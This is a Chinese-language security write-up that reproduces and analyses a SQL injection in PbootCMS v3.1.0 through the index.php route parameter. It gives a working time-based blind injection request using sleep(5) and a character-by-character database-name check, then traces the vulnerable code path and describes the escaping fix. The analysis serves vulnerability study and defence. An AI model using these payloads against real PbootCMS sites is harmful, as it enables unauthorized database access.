环境搭建
利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了到官网去申请外,我们也可以直接通过修改域名为 localhost 绕过。
因为默认是 SQLilte 数据库 直接就可以安装好,但是为了后面注入的我们将数据库改为 MYSQL 数据库
修改 config/database.php
将文件 static/backup/sql/pbootcms_v310.sql
导入到创建好的数据库中
我们可以通过任意的报错信息获取 pbootcms 的版本信息
漏洞复现
我们先对漏洞进行复现,之后再做一个整体的分析
我们向index.php 传参 http://localhost/index.php?1%27
我们发现直接爆出了 SQL 语句
尝试闭合
http://localhost/index.php?1%27)and(%271
构造数据包
`python
GET /index.php?1')and(sleep(5))and('1 HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
发现成功使得服务器沉睡五秒
是属于 SQL 盲注 再进一步的做具体验证
substr((select(database())),1,1)like'p'
为true 我们本身对应的数据库名为 pbootcms
所以证明SQL 注入无误
证实漏洞已经存在,我们就对漏洞进行一个分析
漏洞分析
静态逆向分析
为了找到漏洞代码的位置,我们直接从执行 SQL 语句的函数,添加断点,判断执行 SQL 的内容
这里我是直接打印出 SQL 语句并停止程序
\core\database\Mysqli::query
看到了 SQL 语句 就直接进行查询,全局搜索后发现调用来自于
\app\home\model\ParserModel::getSort
而注入的参数就是 \$scode
寻找 getSort 的调用,并查看其参数是否可控
最终在
\app\home\controller\IndexController::_empty
path 就是来自于路由器的匹配
动态正向调试
\app\home\model\ParserModel::getSort
\core\basic\Model::find
\core\database\Mysqli::one
\core\database\Mysqli::query
漏洞修复
在最新版本中这个漏洞已经被修复,我们跟进查看一下漏洞修复方法
apps/home/controller/IndexController.php::_empty
我们看到对路由进行了转义处理,如此一来对 SQL 注入的防护似乎达到的一劳永逸的效果,修复方式还是很不错,在入口处添加转义函数,对路由进行转义处理,从而避免掉 SQL 注入